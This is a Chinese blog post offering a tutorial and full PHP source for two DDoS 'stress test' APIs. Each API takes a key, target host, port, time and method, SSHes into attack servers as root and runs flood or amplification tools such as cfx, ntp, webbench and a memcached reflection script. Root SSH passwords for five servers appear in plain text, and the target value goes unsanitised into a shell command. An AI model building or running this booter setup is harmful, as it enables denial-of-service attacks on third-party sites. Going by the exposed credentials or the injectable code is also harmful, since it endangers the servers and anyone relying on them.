两套cc攻击压力测试的api源码

文字教程如下(ps:第二种api的教程)第一种api自行根据第第二种api去理解

1.准备好发包机、API源码、页端。

2.首先在需要搭建API的服务器上创建网站,算了 就用这个吧,宝塔安装就不需要我多说了吧  正常建站。创建的网站后  看   里面就需要上传一个API源码  如果你机子多  就多上传几个API源码(源码重命名不能一样)

3.在宝塔网站根目录里编辑API源码   该改的地方我都标注了的   需要注意几个地方  首先是你的发包机内的攻击命令是什么   比如memc的  一般的攻击命令是 ./memc IP 端口 列表 -1 时间 轮训  我这已经改好了    如果你们的脚本没有轮训 或者命令跟API里的不一样   那就要自己动手改了
(不会的再问我)

4.因为机子不太方便放账号密码出来   所以省略了这一步了       改好之后API就能用了  API的地址稍等我会放在最下面   这里要记住的是  这个支持的模式一定要填对  还有密钥也要记住  

5. 接下来就是要用API对接页端了  这里用红色页端做演示  首先添加方法  比如你打的memc
名称就写你的模式 SSDP就写SSDO  MEMC就写MEMC  这就不多说了   我这用cc做演示  所以类型就用CC模式  没有选项的页端就自己输入就行 其他模式就选UDP类型  有SYN的 就写SYN  TCP就写TCP  

6.然后就是加入API了  复制刚刚搭建的API网址  就最后这个  把API的网站改了  还有API源码文件的名字改了  密钥也改成你自己设置的  后面的就是一样的了  这个插槽就是你的脚本支不支持多并发  不支持就写1  一般也写1   然后再方法里选上你这API链接的机子攻击的方式 我这是CC就选CC了   API名称好像是不能加中文   这样就OK了

7.  然后我们去页端前台看一下   进入压测面板   晚上机子太卡了  就不看机子了  只要你对接了就有用的  我们测试一下  就拿我的代刷测试吧  反正没用  挂着玩的    现在是正常的   稍等 我暂停一下  去开下机子  机子好像忘记开了  重启了一下   好了  能进去了  这一下就跑起来了 看 正常提交了
  方法都在这了  教程很详细
http://API的网站/api111.php?key=321321&host=[host]&port=[port]&time=[time]&method=[method]

第一种api-使用命令: 第一种api:使用命令:https://www.cunshao.com/api/ccgj/bg.php/?key=你的key@&host=http://网址(或IP地址)&time=时间&method=cfx&Bing=线程&max=任务机器数量

<?php
# 初始化
header("Content-Type: application/json; charset=utf-8");
error_reporting(E_ALL^E_NOTICE^E_WARNING);
ignore_user_abort(true);
set_time_limit(300);

# 设置
$Set = array(
    # 程序目录【村少博客www.cunshao.com提示这里是目录,尽量不改】
    'AppDir' => '/',

    # 线程  【这个是用来来打dd的,你CC用不到可以不用管】
    'Thread' => 10,

    # 时间上限 (秒)   【上限时间,API只能提交10分钟】
    'TimeLimit' => 600
);

# 服务器 SSH 信息  【把你的CC机器 填写账号密码就行了】
$Servers = array(
    ['Host' => '155.235.92.195', 'Port' => 22, 'UserName' => 'root', 'Password' => '7h0fL2DaEB5CFs'], # 主机1
    ['Host' => '155.235.92.253', 'Port' => 22, 'UserName' => 'root', 'Password' => '10p11OEDZEvvSdd'], # 主机2
    ['Host' => '155.235.92.196', 'Port' => 22, 'UserName' => 'root', 'Password' => '1UFVi2iYGbZnaP'], # 主机3
    ['Host' => '155.235.92.197', 'Port' => 22, 'UserName' => 'root', 'Password' => '6qLG5tlP9aWzRA'], # 主机4
    ['Host' => '155.235.95.155', 'Port' => 22, 'UserName' => 'root', 'Password' => '1v9OWzURn8V81V'], # 主机5
    
    # ...
);





# 秘钥   ##【秘钥   https://www.cunshao.comz/bg.php/?key=yeizi123&host=http://www.baidu.com&time=30&method=ccp&Bing=10&max=1 】
$Keys = array(
    '@xuan',
);

# 方法  【这个不用管】
$Methods = array(
    'cfx',
    'ntp',
    'webbench',
);
########################################################################################################################
# 接收传递参数 GET POST 通用
$Key = $_REQUEST['key'];
$Max = $_REQUEST['max'];
$Host = $_REQUEST['host'];
$Bing = $_REQUEST['Bing'];
$Port = intval($_REQUEST['port']);
$Time = intval($_REQUEST['time']);
$Method = strtolower($_REQUEST['method']);
########################################################################################################################
# 验证
if (!function_exists("ssh2_connect")) die("错误:服务器未安装 PHP-SSH2 扩展");
if (empty($Key)) die("错误:接口秘钥(API Key) 为空");
if (!in_array($Key, $Keys) && $Set['AdminKey'] !== $Key) die("错误:接口秘钥(API Key) \"$Key\" 不存在");
if (empty($Max)) die("错误:并发(Max) 为空");
if (empty($Host)) die("错误:主机(Host) 为空");
#if (empty($Port)) die("错误:端口(Port) 为空");
if (empty($Time)) die("错误:时间(Time) 为空");
if (empty($Method)) die("错误:方法(Method) 为空");
if (!in_array($Method, $Methods)) die("错误:方法(Method) \"$Method\" 不存在");
#if ($Port > 65535 || $Port < 1) die("错误:端口(Port) \"$Port\" 错误,端口不可大于 65535");
if ($Max > count($Servers)) die("错误:并发(Max) \"$Max\" 错误,没有足够的服务器执行并发任务");
if ($Time > $Set['TimeLimit'] || $Time < 5) die("错误:时间(Time) 不能大于 ".$Set['TimeLimit']." 秒或小于 5 秒");
########################################################################################################################
# 默认命令
$Command = $Set['AppDir'].$Method.' '.$Host.' '.$Port.' '.$Set['AppDir'].$Method.'.txt '.$Set['Thread'].' -1 '.$Time;

# 自定义命令
if ($Method === 'ntp') {
    $Command = $Set['AppDir'].$Method.' '.$Host.' '.$Time.' '.$Set['AppDir'].$Method.'.txt';
}

# 自定义命令
if ($Method === 'cfx') {
    if (empty($Bing)) die("错误:Bing(并发) 为空");
    $Command = '.'.$Set['AppDir'].$Method.' '.$Host.' '.$Time.' '.$Bing.'';
    # ./cfx 域名 时间 并发
}

#自定义命令
if ($Method === 'webbench') {
    if (empty($Bing)) die("错误:Bing(并发) 为空");
    $Command = '.'.$Set['AppDir'].$Method.' -c '.$Bing.' -t '.$Time.' '.$Host.'';  
    # webbench -c 并发 -t 时间 http://地址
    
}


# 调试命令
//exit('您将要执行的命令为:'.$Command);
//$Command = 'ping baidu.com';
########################################################################################################################
# SSH
$ResServers = '【DDoS Concurrent API - PHP】'.PHP_EOL.'近朱者赤,近你者甜'.PHP_EOL.PHP_EOL;



$ResServers ='.'.$Set['AppDir'].$Method.' '.$Host.' '.$Time.' '.$Bing.''.PHP_EOL.PHP_EOL;;
$ResServers .= '===目标:'.$Host.'~时间:'.$Time.'~并发:'.$Bing.'~机器使用:'.$Max.'台==='.PHP_EOL;
#$ResServers .= '并发(Max):'.$Max.PHP_EOL;
#$ResServers .= '主机(Host):'.$Host.PHP_EOL;
#$ResServers .= '端口(Port):'.$Port.PHP_EOL;
#$ResServers .= '线程(Bing):'.$Bing.PHP_EOL;
#$ResServers .= '时间(Time):'.$Time.'s'.PHP_EOL;
#$ResServers .= '方法(Method):'.$Method.PHP_EOL.PHP_EOL;
#
foreach ($Servers as $i => $res){
    $i++;
    if (!($conn = ssh2_connect($res['Host'], (int)$res['Port']))) {
        $ResServers .= "主机 $i => SSH 连接失败".PHP_EOL;
        continue;
    }
    if (!ssh2_auth_password($conn, $res['UserName'], $res['Password'])) {
        $ResServers .= "主机 $i => SSH 用户名或密码错误".PHP_EOL;
        continue;
    }
    if (($str = ssh2_exec($conn, $Command))) {
        stream_set_blocking($str, false);
        $data = "";
        while ($buf = fread($str,4096)) $data .= $buf;
        $ResServers .= "主机 $i => SSH 提交成功".PHP_EOL;
    }
    else $ResServers .= "主机 $i => SSH 命令执行失败".PHP_EOL;
    if ($i >= $Max) exit($ResServers);
}
exit($ResServers);
########################################################################################################################

第二种api-使用命令:http://API的网站/api111.php?key=321321&host=[host]&port=[port]&time=[time]&method=[method]

<?php
//攻击格式为: http://ip/?key=[密钥]&host=[IP地址]&port=[端口]&time=[时间]&method=[模式]
//攻击格式为: http://ip/?key=[密钥]&host=[host]&port=[port]&time=[time]&method=[method]
ignore_user_abort(true);
set_time_limit(1000);
$server_ip = "127.0.0.0"; //村少博客www.cunshao.com提示linux的服务器IP地址
$server_user = "root"; //账号  
$server_pass = "root"; //密码  
$key = $_GET['key'];
$host = $_GET['host'];
$port = intval($_GET['port']);
$time = intval($_GET['time']);
$method = $_GET['method'];
$action = $_GET['action'];
$array = array("memc");  //支持的模式
$ray = array("xue"); //密钥
if (!empty($key)){
}else{
die('Error: 请勿留空!');}
if (in_array($key, $ray)){
}else{
die('Error: 错误的密钥!');}
if (!empty($time)){
}else{
die('Error: 时间不能为空!');}
if (!empty($host)){
}else{
die('Error: 攻击地址不能为空!');}
if (!empty($method)){
}else{
die('Error: 模式不能为空!');}
if (in_array($method, $array)){
}else{
die('Error: 你目前没有这个模式的支持!');}
if ($port > 65535){
die('Error: 端口不可以超过65535');}	
if ($time > 1000){ //限制攻击时间
die('Error: 攻击时间不能大于1000s!');}  
if(ctype_digit($Time)){
die('Error: 时间不是数字!');}
if(ctype_digit($Port)){
die('Error: 端口不是数字!');}
//if ($method == "cc") { $command = "node config.js $host 10000 $time&node cc.js $host 10000 $time"; } //攻击脚本、反射文件目录,攻击命令//
if ($method == "memc") { $command = "./iboydds $host $port boy.txt 1 -1 $time 10"; } //攻击脚本、反射文件目录,攻击命令
if (!function_exists("ssh2_connect")) die("Error: 你的服务器没有开启ssh2");
if(!($con = ssh2_connect($server_ip, 22))){
  echo "Error: 连接失败";
} else {
    if(!ssh2_auth_password($con, $server_user, $server_pass)) {
	echo "Error: 登录失败请检查你的信息";
    } else {
	
        if (!($stream = ssh2_exec($con, $command ))) {
            echo "Error: 你的服务器没有能力去执行你的命令,或者你的攻击脚本不存在";
        } else {    
            stream_set_blocking($stream, false);
            $data = "";
            while ($buf = fread($stream,4096)) {
                $data .= $buf;
            }
			echo "攻击成功!!</br>地址: $host</br>攻击端口: $port </br>攻击的时间: $time</br>使用的模式: $method";
            fclose($stream);
        }
    }
}
?>
© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容